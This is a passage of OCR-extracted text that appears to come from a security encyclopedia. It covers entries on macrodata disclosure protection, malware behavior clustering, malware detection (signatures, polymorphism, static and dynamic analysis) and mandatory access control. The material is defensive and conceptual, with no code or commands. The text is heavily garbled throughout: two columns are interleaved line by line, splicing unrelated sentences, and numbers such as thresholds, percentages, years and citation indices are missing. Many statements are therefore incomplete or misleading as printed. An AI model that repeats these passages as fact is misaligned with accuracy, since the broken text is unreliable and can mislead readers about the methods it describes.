Governmental, public, and private organizations are more
Count tables. Each cell of the table contains the num-
and more frequently required to make data available for
ber of respondents that have the same value over all
external release in a secure way. Indeed, if on the one hand
attributes of analysis associated with the table. For
there is a need to disseminate some data, there is on the
instance, the table in Fig. a contains the number of
other hand an equally strong need to protect those data
males and females for each given disease.
that, for various reasons, should not be disclosed. Tradi-
tionally, data collected from surveys are released in tabular
Frequency tables. Each cell of the table contains the M
percentage of respondents, evaluated over the total pop-
form (macrodata). Macrodata are aggregate information
ulation, that have the same value over all the attributes
(statistics) on users or organizations usually presented as
of analysis associated with the table. For instance, the
two-dimensional tables. Many techniques have been devel-
macrodata table in Fig. b contains the percentage of
oped for protecting data released publicly or semi-publicly
males and females for each given disease.
from improper disclosure. These techniques depend on the
Magnitude tables. Each cell of the table contains
method in which such data are released. Macrodata pro-
an aggregate value of a quantity of interest over all
tection techniques are specifically targeted to meeting the
attributes of analysis associated with the table. For
protection needs of macrodata and are typically based on
instance, the macrodata table in Fig. c contains the
the selective obfuscation of sensitive cells.
average number of days that males and females have
spent in the hospital for each given disease.
Theory
Macrodata represent estimated values of statistical charac- Several macrodata protection techniques have been
teristics concerning a given population. A statistical char- developed to guarantee the confidentiality of the data,
acteristic is a measure that summarizes the values of one that is, the assurance that information about individual
or more properties/attributes (variables, in statistical ter- respondents cannot be derived (or approximated) from the
minology) of respondents (i.e., individuals to whom data released macrodata. Typically, macrodata protection tech-
refer). An example of a statistical characteristic can be the niques work in two steps: () they first discover sensitive
average age of people living in each continent. Macrodata cells, that is, cells that can be easily associated with a specific
can be represented as tables, where each cell of the table respondent, and then () protect these cells.
is the aggregate value of a quantity over the considered
properties. Discovering Sensitive Cells
Macrodata tables can be classified into the following The strategies for discovering sensitive cells vary depend-
three groups (types of tables). ing on the type of macrodata (count and frequency tables
M Maliciously Modied Set of Administrative Tools
versus magnitude tables). For count and frequency tables, the table: instead of releasing a table with N tuples and M
the most important strategy used to detect sensitive cells columns, a less detailed table (e.g., a table with N tuples
is the threshold rule, according to which a cell is sensitive and M columns) is released. Sampling means that the
if the number of respondents is less than a given thresh- table is obtained with a sample survey rather than a census.
old []. As an example, consider the macrodata table Fig. a The CTA technique is based on the selective adjustment
and suppose that the threshold is . The first cell and the last of cell values. In other words, the value of sensitive cells is
cell in the first tuple, and the first cell and the third cell in replaced by a safe value, that is, a value that is not sensitive
the second tuple are sensitive because their value is below w.r.t. the rule chosen to detect sensitive cells, and then a
the given threshold. linear programming technique is used to adjust the values
For magnitude macrodata, there are many rules that of the nonsensitive cells, such that the sum of the val-
can be used to detect sensitive cells []. For instance, the ues in each column/row in the table coincides with the
(n,k)-rule states that a cell is sensitive if less than n respon- marginal total of the column/row. Confidential edit modi-
dents contribute to more than k% of the total cell value. fies the original data used to compute aggregate values and
As an example, consider the macrodata table in Fig. c recomputes the macrodata table on the obtained collec-
and suppose to apply the (, )-rule. A cell is sensitive if tion of data. This techniques selects a sample of the records
one respondent contributes to more than % of its value. in the dataset, finds a match for the selected records (i.e.,
The first cell and the last cell in the first tuple as well as a set of records with the same values on a specific set of
the first cell in the second tuple are sensitive since, as vis- attributes) in other geographical regions, and swaps the
ible in the associated table in Fig. a, there is only one attributes of the matching records.
male and one female with hypertension and one male with
short breath and therefore their contribution to these cells Applications
is %. Other similar rules are the p-percent rule and the Macrodata protection techniques can be applied whenever
pq-rule. The p-percent rule states that a cell is sensitive if aggregate information, computed starting from collected
the total value t of the cell, minus the sum of the largest data, containing some sensitive information, is released.
reported value v and the second largest reported value v , As an example, consider the case of a hospital releasing
is less than (p/)v . Intuitively, this rule means that a user the number of patients aggregated by their disease and city
can closely estimate the reported value of some respon- where they live. When releasing statistics over the hospital
dents. In the pq-rule, q represents how closely respondents activity, the hospital must guarantee that possible sensitive
can estimate another respondents value (p < q < ). information, such as the association between individual
patients and their illnesses, is not released. As another
Protecting Sensitive Cells example, statistical agencies, when releasing aggregated
Sensitive cells can be protected by applying several strate- financial data, may require a sanitization process to protect
gies, such as cell suppression, rounding, roll up categories, information considered sensitive, such as the correlation
sampling, controlled tabular adjustment function (CTA), between individuals and their financial status.
and confidential edit []. Cell suppression consists in pro-
tecting sensitive cells by removing their values. These sup- Recommended Reading
pressions are called primary suppressions. However, if the . Federal Committee on Statistical Methodology () Report on
marginal totals of the table are published, it may be possible statistical disclosure limitation methodology. Statistical policy
to determine the value of the suppressed cell or restrict the Working Paper , Washington, DC, May
interval of possible values. If the size of such an interval is
small, the suppressed cell can be estimated rather precisely.
To avoid such inferences, additional cells may need to be
suppressed (secondary suppression) to guarantee that the
Maliciously Modied Set of
intervals are sufficiently large. Linear programming tech- Administrative Tools
niques have been proposed to minimize the total number
Rootkits
of cells to be suppressed. Such techniques are suitable for
small tables, although they are usually not applicable to
more complex structures. Rounding consists in choosing
a base number and in modifying the original value of sen- Malware
sitive cells by rounding it up or down to a near multiple
of the base number. Roll up categories reduces the size of Spyware
Malware Behavior Clustering M
is a need to prioritize these reports and guide an ana-

Malware Behavior Clustering lyst in the selection of those samples that require most
attention. One approach to process reports is to cluster
Engin Kirda them into sets of malware that exhibit similar behavior.
Institut Eurecom, Sophia Antipolis, France The ability to automatically and effectively cluster analyzed
malware samples into families with similar characteris-
Related Concepts tics is beneficial for the following reasons: First, every
Behavioral-based Detection; Dynamic Analysis; time a new malware sample is found in the wild, an ana-
Intrusion Detection; Malware Analysis; Malware lyst can quickly determine whether it is a new malware
Classification; Malware Detection; Malware Removal instance or a variant of a well-known family. Moreover,
given sets of malware samples that belong to different mal-
Denition ware families, it becomes significantly easier to derive gen-
One of the major threats on the Internet today is malicious eralized signatures, implement removal procedures, and
software, often referred to as malware. Malware comes create new mitigation strategies that work for a whole class
in a wide range of forms and variations, such as viruses, of programs.
worms, botnets, rootkits, Trojan horses, and denial-of- The recent advances in the field of automated malware
service tools. To spread, malware exploits software vul- analysis (e.g., []) have created a rising interest in the
nerabilities in browsers and operating systems, or uses automatic grouping of the analysis results (and reports)
social engineering techniques to trick users into running that are created. For this purpose, researchers have pro-
the malicious code. An anti-malware company typically posed supervised as well as unsupervised machine learn-
receives thousands of new malware samples every day. ing techniques. Because it is crucial that these techniques
These samples are submitted by users who have found can process a large number of samples, their scalability is
suspicious code on their systems, by other anti-malware one of the decisive properties.
companies that share their samples, and by organizations At the core of every system that aims to find mal-
that collect malware. The ability to automatically and effec- ware families is the notion of similarity. Therefore, these
tively cluster analyzed malware samples into families with systems need to solve two problems. First, they need to
similar behavioral characteristics is referred to as Malware find a suitable representation of a malware sample. Sec-
ond, based on these representations, they need to compute
M
Behavioral Clustering.
a distance between two samples. In the literature, content-
Theory based and behavior-based comparison approaches have
Because of the growing need for automated techniques to been proposed.
examine malware, dynamic malware analysis tools such
Content-Based Analysis. The first attempts to cluster mal-
as CWSandbox, Norman Sandbox, and ANUBIS have
ware samples were based on static analysis of the mal-
increased in popularity. These systems execute the mal-
ware samples. For example, in [], the author proposes an
ware sample in a controlled environment and monitor its
automated virus classification system that works by first
actions. Based on the execution traces, reports are gener-
disassembling the binaries, and subsequently, comparing
ated that aim to support an analyst in reaching a conclusion
their basic code blocks. Other researchers have proposed
about the type and severity of the threat imposed by a
to represent a malware program as a hex-dump of its code
malware sample.
segment, building a classification system on top of this
For example, when observing a sample that modifies
(e.g.,[]). In [], Dullien and Rolles propose a system for
the autorun registry entry and opens a connection to a
comparing executables based on their control flow graph.
notorious IRC server (which is often used for botnet com-
All content-based analysis approaches share the prob-
mand and control), the analyst can quickly conclude that
lem that they need to disassemble the binary. This is often
the sample is an IRC bot. Even when the analyst is not
difficult or even impossible, given that malware is fre-
able to reach a detailed conclusion about a sample, the
quently obfuscated and packed. Also, it is possible to write
automated analysis is beneficial to help separate interesting
semantically equivalent programs that have large differ-
samples from those that are less relevant.
ence in their code. Thus, it is possible for malware authors
While automating the analysis of the behavior of a
to thwart content-based similarity calculations.
single malware sample is a first step, it is not sufficient.
This is because the analyst is now facing thousands of Behavior-Based Analysis. In , Holz et al. [] pre-
reports every day that need to be examined. Thus, there sented a system that classifies unknown malware samples
M Malware Detection
based on their behavior. A significant limitation is that the . Holz T, Willems C, Rieck K, Duessel P, Laskov P () Learn-
system requires supervised learning, using a virus scanner ing and classification of malware behavior. In: Fifth confer-
ence on detection of intrusions and malware and vulnerability
for labeling the training set. Lee et al. developed a sys-
assessment (DIMVA ), Paris,
tem for classifying malware samples that relies on system . Lee T, Mody JJ () Behavioral classification. In: EICAR
calls for comparing executables []. The scalability of the conference, Hamburg,
technique is limited; the system required several hours to . Bailey M, Oberheide J, Andersen J, Mao ZM, Jahanian F,
cluster a set of several hundred samples. Also, the tight Nazario J () Automated classification and analysis of inter-
net malware. In: th international symposium on recent
focus on system calls implies that the collected profiles do
advances in intrusion detection (RAID), Gold Coast,
not abstract the observed behavior. . Leita C, Dacier M () SGNET: a worldwide deployable frame-
Bailey et al. [] have proposed a system that abstracts work to support the analysis of malware threat models. In:
from system call traces and clusters samples that exhibit European dependable computing conference, Kaunas,
similar behavior. . Bayer U, Milani P, Hlauschek C, Kruegel C, Kirda E ()
Scalable, behavior-based malware clustering. In: th annual net-
Leita et al. [] suggest classifying malware based on
work and distributed system security symposium (NDSS ),
the epsilon-gamma-pi-mu model. In this model, addi- San Diego,
tional information on how the malware is originally
installed on the target system is considered for classifi-
cation. This can include information on the exploit and
exploit payload used to install the malware dropper, and
on the way the dropper in turn downloads and installs the
Malware Detection
malware.
Stefan Katzenbeisser , Johannes Kinder ,
In [], Bayer et al. proposed an approach for clustering
Helmut Veith
large collections of malware samples. The goal is to find a
Security Engineering Group, Technische Universitt
partitioning of a given set of malicious programs so that
Darmstadt, Darmstadt, Germany
subsets exhibit similar behavior. The system begins by ana-
Formal Methods in Systems Engineering, Technische
lyzing each sample in a dynamic analysis environment that
Universitt Darmstadt, Darmstadt, Germany
has been enhanced with taint tracking and additional net-
Institute of Information Systems, Technische Universitt
work analysis. Then, behavioral profiles are extracted by
Wien, Wien, Austria
abstracting system calls, their dependences, and the net-
work activities to a generalized representation consisting
of OS objects and OS operations. These profiles serve as Synonyms
the input to the clustering algorithm, which requires less Antivirus; Virus scanner
than a quadratic amount of distance computations. This
is important to handle large data sets that are commonly Related Concepts
encountered in the real world. Dynamic Analysis; Intrusion Detection; Static
Analysis

. Brumley D, Hartwig C, Liang Z, Newsome J, Poosankam P,
Malware is malicious software that was intentionally devel-
Song D, Yin H () Automatically identifying trigger-based
behavior in Malware. In: Lee W et al. (eds) Botnet analysis and
oped to infiltrate or damage a computer system without
defense consent of the owner. This includes, among others, viruses,
. Egele M, Kruegel C, Kirda E, Yin H, Song D () Dynamic worms, and Trojan horses. Malware detection refers to the
spyware analysis. In: USENIX annual technical conference, Santa process of detecting the presence of malware on a host
Clara,
system or of distinguishing whether a specific program is
. Moser A, Kruegel C, Kirda E () Exploring multiple execu-
tion paths for malware analysis. In: IEEE symposium on security
malicious or benign.
and privacy, Berkeley,
. Gheorghescu M () An automated virus classification system. Background
In: Virus bulletin conference, Dublin, Malware is one of the most serious security threats and
. Kolter JZ, Maloof MA () Learning to detect and classify
spreads autonomously through vulnerabilities or careless-
malicious executables in the wild. J Mach Learn Res :
. Dullien T, Rolles R () Graph-based comparison of exe-
ness of users. In order to protect a computer from infec-
cutable objects. In: Symposium sur la Scurit des Technologies tion or remove malware from a compromised computer
de lInformation et des Communications (SSTIC), Rennes, system, it is essential to accurately detect malware. As a
Malware Detection M
consequence of Rices Theorem (and shown by Cohen for rewriting itself upon distribution into a functionally equiv-
the case of computer viruses []), determining whether alent program. The malware parses its own code, randomly
a given program contains malicious functionality is gen- applies code transformations that do not change the pro-
erally undecidable. Thus, malware detection focuses on gram semantics (obfuscations), and writes the transformed
practical methods that reliably and efficiently detect cer- code into a new executable.
tain classes of malware. Besides theoretical limitations,
malware detection faces two main practical challenges: Theory and Applications
An ever increasing development and distribution speed of Techniques for malware detection are widely deployed
malware, and sophisticated methods for evading detection in commercial anti-virus products installed on end-user
such as poly- and metamorphism. clients. Anti-virus software typically includes a back-
ground service that scans files on access, and an on-
Rapid Releases of Malware Variants demand scanner, which is invoked in regular intervals.
The Internet has decreased the development time and Speed is critical for these end-user products, since a
increased the distribution speed of new malware by sev- lengthy analysis of an executable on access delays the
eral orders of magnitude. While early computer viruses startup of programs and impairs the overall responsive-
and worms were often developed for the thrill of vandal- ness of the computer system. Other malware detectors are
ism by adolescent computer enthusiasts, the new millen- implemented as part of intrusion detection systems that
nium has seen an increase in professional malware authors monitor activity on the network or on a specific host. Com-
who command vast botnets of infected computers in order putationally expensive malware detection methods can be
to harvest sensitive data or perform distributed denial of used on dedicated systems for malware analysis and foren-
service attacks. This development has spurred the rapid sics, e.g., within anti-virus research labs or as part of a
release of modified and improved malware variants in security audit [, ].
short succession. The time it takes from the release of a
new malware until it can be reliably detected by common Signature Matching
antivirus tools, the window of vulnerability, is often enough The fastest and most common detection method is the use
to infect a large number of computer systems despite of static malware signatures. In the most simple form, they
antivirus protection. One of the declared goals of research are binary sequences of code or data that appear in a par-
in malware detection is thus to shorten or eliminate this ticular malware instance. Other forms of static malware
M
window of vulnerability. signatures are hash values of code blocks starting at a given
offset in an executable, or binary sequences including wild-
Poly- and Metamorphic Malware cards to allow some syntactic variation. Signatures have to
Polymorphic and metamorphic malware is particularly be generated from sufficiently long code sequences to min-
difficult to detect []. Polymorphic malware encrypts its imize false positives (i.e., false detections of malware in
malicious executable code (the virus body) and attaches benign programs). To detect a certain malware instance,
a small decryption engine, which decrypts the code only anti-virus software simply checks for the presence of its
at runtime. Whenever the malware creates copies of itself, signature in a given program (scanning). Commercial anti-
it generates a fresh key and re-encrypts its executable virus products maintain large databases of these signa-
body with the new key. Furthermore, it obfuscates the tures, and scan every file for all signatures of viruses and
decryption engine, which cannot be encrypted itself, by worms they know of. These databases constantly have to
inserting no-operation instructions or reordering the con- be kept up to date and steadily increase in size due to the
trol flow without altering its semantics. Each malware emergence of new malware. Furthermore, a growing size of
instance is thus syntactically different on disk, but at run- the signature database implies an increased chance of false
time decrypted into the same original virus body. A trivial positives. Signature matching therefore reaches its limits
but widely used special case of polymorphism is the use in the light of rapidly rising numbers of malware and the
of executable packers, tools that compress and/or encrypt inherent window of vulnerability between emergence of a
an executable file with a static key. By choosing differ- new malware and the next signature release.
ent keys or adding another layer of packing around an Polymorphic malware is difficult to detect through
already packed file, malware authors can manually create signature matching, since the syntactic image on disk
syntactically different instances of the same malware. changes with each replicated instance. For simple poly-
Metamorphic malware achieves syntactically different morphic malware whose decryption routine does not vary
instances both on disk and at runtime by completely significantly between malware instances, signatures for the
M Malware Detection
decryption routine can be generated. Once the polymor- signatures specify malicious behavior in an appropriate
phic malware is run (e.g., as part of dynamic analysis, language. This allows to detect variants of the same mal-
see below) and has decrypted the virus body, signature ware with a single semantic signature (and thus eliminate
matching can be applied to detect the malware in memory. the window of vulnerability), as long as they contain the
Metamorphic malware, on the other hand, completely same core malicious behavior. Furthermore, since com-
eludes classic signature matching. A carefully written mon transformations applied by metamorphic malware
metamorphic engine generates enough entropy such that do not change the program semantics, semantic malware
no sufficiently long common sequence of instructions is signatures should be robust against metamorphism.
shared between different instances of the same malware. However, implementation of a practical malware
However, a sloppy implementation of the metamorphic detector based on static analysis is challenging. An anal-
engine by the malware author can introduce commonali- ysis powerful enough to directly handle self-modifying
ties into all instances, such as fixed opcodes with only vary- code as in packed or polymorphic malware is considered
ing registers. Such weaknesses in the obfuscation scheme prohibitively expensive. Existing approaches thus usually
can be exploited by scanning for wildcard signatures. In focus on analyzing the unencrypted virus body and make
general, however, more advanced detection methods are use of separate tools to obtain it []. Several steps have
required. to be performed: First, for polymorphic code, the original
Research on malware detection thus focuses on virus body has to be exposed either by static decryption
approaches for proactive detection: Malware that is suffi- or dynamic analysis. The resulting binary is passed to a
ciently similar in structure or behavior to malware found disassembler, which converts binary machine code into
and analyzed in the past should be detected without assembly instructions and provides a control flow graph to
requiring new syntactic signatures. Most vendors of anti- the static analysis component.
virus software implement a form of proactive detection by Note that in order to reliably detect malware, all these
augmenting their signature-based detection scheme with steps must be correctly performed. This yields several prac-
heuristics. They search for several indicators of malicious tical problems, which can be exploited by malware authors
code, such as the presence of certain system calls or anoma- to evade static detection. The preparation step to expose
lies in the file header, assign scores to each indicator, the virus body must succeed. For well-known packers
and classify an executable as malicious if its total score or simple encryption schemes, unpacking is an easy and
exceeds a certain threshold. Another strategy to detect automatic process. More intricate polymorphic schemes,
multiple variants of the same malware as well as polymor- however, require the use of emulation techniques from
phic and metamorphic malware is malware normalization, dynamic analysis. Once the code is available, further pro-
which attempts to transform obfuscated binary code into cessing of the code faces the classic disassembly problem,
a canonical form that can be matched against traditional complicated by the fact that malware is often deliberately
static signature databases [, ]. obfuscated.
Besides augmenting existing signature-based detec- Several approaches to static analysisbased malware
tion methods, there are two general approaches to detect detection with different abstractions of behavior and speci-
rapidly changing malware: Static analysis classifies the fication mechanisms have been proposed. Very coarse
potential behavior of a program as malicious or benign abstractions of executable code only consider system calls;
without executing it; dynamic analysis runs an executable specifications for malicious code then describe system call
for a certain time in an appropriately protected virtual sequences known to be characteristic to malware. Finer-
environment and monitors its behavior at runtime. grained abstractions analyze the control flow graph on the
level of individual machine instructions. On this level, it
Static Analysis is possible to directly specify patterns of instructions and
Malware detection by static analysis relies on approximat- relations between their operands. Among other patterns,
ing (abstracting) the semantics of a piece of code, and this allows to detect possible data flow between return val-
determining whether it may perform malicious actions. ues and parameters of system calls [, ] and yields more
By doing this, static analysis explores all possible execution fine-grained malware specifications.
paths of the program. The fundamental difference to static
signature matching is that it operates on the semantics, Dynamic Analysis
i.e., the potential behavior of malicious code, instead of Malware detection based on dynamic analysis monitors
its syntactic representation. To this end, semantic malware the behavior of potentially malicious processes at runtime
Malware Detection M
and inspects their interactions with the system for suspi- from dynamic test case generation that combine features
cious activity. The processes can either be observed live from static and dynamic analysis []. While monitoring
while running on a real system [] (as in Host-Based Intru- the program execution, an emulator also executes the
sion Detection Systems) or in an isolated virtual machine or program symbolically to relate program inputs (e.g.,
sandbox. Detection engines implemented in on-demand return values of some system calls) to branch condi-
scanners of commercial anti-virus products make use of tions. In successive runs of the executable, the inputs are
relatively lightweight sandboxes, which provide a partial then modified to drive execution into different branches.
environment (e.g., function stubs for system calls) and This way, the coverage of dynamic analysis can be
emulate the executable for a short amount of time []. increased.
Although fast, the sandbox can only give a rough esti-
mate of the actions the program would perform when
Recommended Reading
run freely on a system. For detection of polymorphic mal-
. Cohen F () Computer viruses: theory and experiments.
ware, lightweight sandboxes have proven extremely effec- Comput Secur ():
tive, since only the initial decryption routine needs to be . Szr P, Ferrie P () Hunting for metamorphic. In: Pro-
emulated for the original virus body to appear in the sand- ceedings of Virus Bulletin Conference, Virus Bulletin,
box memory. Once the virus body is plainly visible in pp
. Christodorescu M, Jha S, Maughan D, Song, Wang C (eds)
the sandbox, classic signature matching can be used for
Advances in information security. Malware detection, vol .
detection. For detecting malicious activity of unknown Springer, New York, p
malware, a sandbox can also be used to record traces of sys- . Szr P () The art of computer virus research and defense.
tem calls, which are then matched against known malware Addison Wesley, Upper Saddle River, p
behavior. . Christodorescu M, Jha S, Kinder J, Katzenbeisser S, Veith H
() Software transformations to improve malware detection.
Virtual machines emulate a full system including pro-
J Comput Virol ():
cessor and devices, and host a full operating system instal- . Lakhotia A, Mohammed M () Imposing order on pro-
lation []. Their advantage is that executables will usually gram statements to assist anti-virus scanners. In: th Working
exhibit the same behavior as on a real system, since all Conference on Reverse Engineering Proceedings (WCRE ),
system state is correctly emulated and no system calls are Delft, November . IEEE Computer Society Press, Los
Alamitos, pp
abstracted by stubs.
Dynamic analysis is robust against polymorphic and
. Preda MD, Christodorescu M, Jha S, Debray SK () A M
semantics based approach to malware detection. In: Con-
metamorphic malware, including low-level obfuscations ference record of POPL : the th ACM SIGPLAN-
that can thwart disassembly and thus static detection, SIGACT Symposium on Principles of Programming Languages,
but it faces specific challenges of its own. Malware can French Riviera, January . ACM Press, New York,
pp
attempt to detect whether it is run within a sandbox or
. Kinder J, Katzenbeisser S, Schallhart C, Veith H () Proactive
virtual machine or actively attack the emulator. Several detection of computer worms using model checking. IEEE Trans
anti-emulation techniques exist, which check for certain Depend Secure Comput ():
low-level processor features (e.g., undocumented instruc- . Kolbitsch C, Comparetti PM, Kruegel C, Kirda E, Zhou X,
tions) or timings. Once an executable has determined that Wang X () Effective and efficient malware detection at the
end host. In: Proceedings of the th Usenix Security Sym-
it is being emulated, it can terminate execution without
posium (USENIX), Montreal, August . USENIX
performing any malicious actions. Association, Berkeley
Another limitation of purely dynamic approaches to . Holz T, Freiling F, Willems C () Toward automated dynamic
malware detection is their only partial observation of the malware analysis using CWSandbox. In: SP: Proceedings of
program behavior. Only a single execution is observed for the IEEE Symposium on Security and Privacy, Berkeley,
May . IEEE Computer Society Press, Los Alamitos,
a limited time; if malicious activity is triggered randomly
pp
or only under certain conditions, the emulator might not . Natvig K () Sandbox II: Internet. In: Proceedings of
witness the malicious behavior and falsely consider the Virus Bulletin Conference, Virus Bulletin
executable benign. Some file-infecting viruses specifically . Bayer U, Moser A, Krgel C, Kirda E () Dynamic analysis
target this weakness by hooking their malicious code into of malicious code. J Comput Virol ():
. Moser A, Kruegel C, Kirda E () Exploring multiple exe-
the exit routines of a program, or placing it randomly
cution paths for malware analysis. In: SP: Proceedings of
inside benign procedures (Entry Point Obfuscation). the IEEE Symposium on Security and Privacy, Berkeley,
The chance of missing malicious behavior that depends May . IEEE Computer Society Press, Los Alamitos,
on certain conditions can be reduced by using methods pp
M Mandatory Access Control
built around the BellLa Padula confidentiality model [],

Mandatory Access Control which gives a formal description of secure information
flow across multiple levels of classification in a military
Shambhu Upadhyaya system.
Department of Computer Science and Engineering, Some of the early implementations of MAC are
University at Buffalo The State University of New York, Honeywells SCOMP [], Boeings MLS LAN [], and
Buffalo, NY, USA NSAs Blacker [] which are based on the MLS notion.
The US Orange Book, published in and subsequently
Synonyms revised, has been promoting strong security measures for
Rule-based access control all defense computer systems resulting in several MAC
implementations such as the USAF SACDIN [], Novells
Related Concepts AppArmor [], and NSAs SELinux []. With the growing
Access Control from an OS Security Perspective; Access use of computers, wireless networks, and mobile use, there
Control Policies, Models, and Mechanisms; Access are efforts that have departed from the original MLS notion
Control Lists; Bell-LaPadula Confidentiality Model; to develop models that meet the advanced requirements.
Mandatory Access Control; Mandatory Access The location-based MAC [] and dynamic MAC [] are
Control; Reference Monitor; Role-based; Trusted some examples. Though powerful, the traditional MAC
Operating System implementations have been viewed as complex and diffi-
cult to configure for end users. A noteworthy development
Denition in this regard is the usable MAC model, namely, the usable
Mandatory access control (MAC) is a security policy that mandatory integrity protection (UMIP) model [].
encapsulates confidentiality of an object in the realm of
computer security. This policy goes beyond the control of Theory
the owner of an object and is defined as a control pol- The theory of MAC is drawn from the BellLa Padula
icy set up by a central authority who can determine what model []. While MAC is described by many authors, a
information can be accessed by whom []. This is in con- simplistic description provided by Bishop [] and Ray and
trast with discretionary access control (DAC) where the Kumar [] is adopted here. The BellLa Padula model is
owner is empowered with the setting of access control on defined in terms of a security structure (L, ) where L rep-
an object. More formally, MAC is a means of restricting resents the set of security levels, and is a partial ordering
access to objects based on the sensitivity (as represented relation defined on these levels. The partial ordering rela-
by a security label) of the information contained in the tion is one that is transitive and antisymmetric. Under this
objects and the formal authorization (i.e., clearance, formal relation, Li Lj signifies that security level Li is dominated
access approvals, and need-to-know) of subjects to access by security level Lj . Here, element Li is said to be domi-
information of such sensitivity []. nated and element Lj is dominating. Two elements Li and
Lj are not comparable if neither Li Lj nor Lj Li .
Background MAC being a security model of an operating system,
In an operating system, there are primarily three entities, the main entities this model works on are users, subjects,
namely, users, subjects, and objects. A user corresponds and objects as described earlier. A user is someone who
to a user account, a subject is a process or program in has a legitimate user account in the system. Each object is
execution and an object represents a key resource such associated with a security classification which is also called
as files or sockets. When a process issues a request to the clearance level. A user can log in at any security level
access a file, certain restrictions are applied according to that is determined by the security clearance of the user.
some well-defined control policies. Discretionary access Each user is associated with one or more subjects. Subjects
control (DAC) and mandatory access control (MAC) poli- are generally processes that are generated by a user who is
cies provide the basic protection to system resources logged in at a specific security level.
and user data. The Trusted Computer System Evaluation The mandatory access control policies in the BellLa
Criteria (TCSEC) [], commonly referred to as the US Padula model are specified in terms of subjects and objects
Orange Book or the Department of Defense (DoD) direc- and the security levels of these subjects and objects [, ].
tive ., developed the MAC policy out of the need Assuming that function L maps an entity to its security
to protect classified information in the military. MAC is level, the policies for reading and writing objects are given
closely related to the multilevel security (MLS) notion [] by the Simple Security and Restricted- Properties. Ray
Mandatory Access Control M
and Kumar [] use the Restricted- properties instead of control than the strictly hierarchical security labels as in
the conventional -property [] for reasons of integrity. the military MLS systems.
The Simple Security Property and the Restricted- Prop- A recent extension of MAC is the location-based
erty are defined below []. mandatory access control [] that is necessitated by the
increase in the growth of wireless networks and sensor
Simple Security Property: A subject S is allowed to read
and mobile devices. In this new operational environment,
object O only if the security level of the subject L(S)
location of the user plays a key role in the performance
dominates the security level of the object L(O), that is,
and security of applications. Ray and Kumar [] show
L(O) L(S).
how location information can be used to augment tra-
Restricted- Property: A subject S is allowed to write
ditional access control mechanism to secure such ubiq-
to an object O only if the security level of the object
uitous computing applications. The location-based access
L(O) equals the security level of the subject L(S), that
control requires one to perform operations on location
is, L(O) = L(S).
information and also protect the location information. In
Systems that use MAC have to assign proper security labels essence, it requires the formalization of the concept of loca-
to subjects and objects when they are created. Bishop tion, the association of location with security levels, and
[] discusses an example of assigning and using MAC the protection of location information by securely stor-
labels for the Data General B Unix system that provides ing it and providing access through fine-grained role-based
mandatory access controls. When a process is generated access control []. Though the initial location-based MAC
in a system, it is assigned the MAC label of its parent. work focused on military applications, subsequent refine-
Objects are assigned labels upon their creation and are ments address generic applications [] and context-aware
stored as parts of the objects attributes. An object can dynamic situations [].
be associated with more than one region called a com- Recently, Li et al. [] made the observations that the
partment. The highest region is dedicated for sensitive traditional operating systems that use DAC and MAC con-
information such as logs and MAC label definitions and tinue to be vulnerable to Trojan horse attacks, and that
is not accessible for users. Reading up and writing up are later implementations of MAC extensions are too com-
not allowed and hence the users cannot modify data in plex and intimidating to configure. They identified several
the highest region. If data needs to be sent to user pro- design principles toward developing usable access control
mechanism, the outcome of which is the usable manda-
M
cesses with MAC labels in lower user regions, it has to be
sanitized. tory integrity protection (UMIP) model. The new design
principles for usable access control systems are []: () pro-
vide good enough security with a high level of usability,
Applications rather than better security with a low level of usabil-
MAC is the foundational concept of many security appli- ity; () provide policy, not just mechanism; () have a
cations. Multilevel security (MLS) systems such as Trusted well-defined security objective; () carefully design ways
Solaris [], TrustedBSD [], and Trusted HP-UX [] to support exceptions in the policy model; () rather than
have MAC at their core. They implement a strong manda- trying to achieve strict least privilege, aim for good-
tory access control policy based on the BellLa Padula enough least privilege; and () use familiar abstractions in
model and a least privilege model to replace the root user policy specification interface. They have implemented the
in traditional Unix []. In these legacy MLS systems, each UMIP model in a prototype protection system for Linux
subject and object is assigned a security level according to using the Linux security module (LSM) framework [].
the BellLa Padula model and access is strictly controlled Detailed evaluation and performance results are available
according to the MAC policy. However, flexibility of this in [].
policy is required for commercial operating systems so that
a wide variety of applications can run in a more secure
environment []. SELinux [] is the result of this flexi- Recommended Reading
ble approach, and implementing this MLS-variant in Linux . Pfleeger CP, Pfleeger SL () Security in computing, th edn.
distributions caters to a wide audience. SELinux provides Prentice Hall, Upper Saddle River
. Committee of National Security Systems () National infor-
a strong type enforcement MAC in addition to traditional
mation assurance (IA) Glossary, CNSS Instruction No. ,
MLS security labels in a flexible security architecture []. April
The notion of type enforcement here addresses both con- . Department of Defense () Trusted computer system evalu-
fidentiality and integrity and provides much more flexible ation criteria, DOD .-STD, December
M Mandatory Access Control Policy (MAC)
. Bell DE, La Padula LJ () Secure computer system: unified . St. Clair L, Schiffman J, Jaeger T, McDaniel P () Establishing
exposition and MULTICS, Technical Report ESD-TR-, and sustaining system integrity via root of trust installation. In:
The MITRE Corporation, Bedford Proceedings of the annual computer security applications
. Fraim LJ () SCOMP: a solution to the multilevel security conference, Miami Beach, December , pp
problem. IEEE Comput ():
. National Computer Security Center () Final evaluation
report: Boeing space and defense group, MLS LAN Secure
Network Server System, August
. Weissman C () BLACKER: security for the DDN, examples
of A security engineering trades. In: Proceedings of the IEEE Mandatory Access Control Policy
symposium on security and privacy, Oakland, pp
. Committee on Computer-Computer Communication Protocols (MAC)
() Transport protocols for department of defense data net-
works. National Academies Press, Washington, DC Sabrina De Capitani di Vimercati, Pierangela
. Bauer M () An introduction to Novell AppArmor. Linux J, Samarati
():, , , August Dipartimento di Tecnologie dellInformazione (DTI),
. McCarty B () SELINUX: NSAs open source security
enhanced Linux. OReilly Media, Sebastopol
. Ray I, Kumar M () Towards a location-based mandatory
access control model. Comput Secur ():
. Jafarian JH, Amini M, Jalili R () A dynamic mandatory
access control model. In: Sarbazi-Azad H, Parhami B, Mire-
Related Concepts
madi S-G, Hessabi S (eds) Advances in computer science and Access Control Policies, Models, and Mechanisms;
engineering. Springer, Berlin Heidelberg, pp Mandatory Access Control
. Li N, Mao Z, Chen H () Usable mandatory access control
for operating systems. In: Raghav Rao H, Upadhyaya S (eds)
Information assurance, security and privacy services. Emerald, Denition
Bingley Mandatory access control policies (MACs) control access
. Bishop M () Introduction to computer security. Addison based on mandated regulations determined by a central
Wesley Professional, Reading
. Trusted Solaris Operating Environment, White Paper ()
authority.
Sun Microsystems, Palo Alto
. FreeBSD handbook, FreeBSD Documentation Project ()
. HP-UX Trusted Computing Services Administrators Guide
Theory
() HP Part Number: With a mandatory access control policy, access decisions
. Legacy MLS/Trusted Systems and SELinux Concepts and are made by a central authority []. The most common
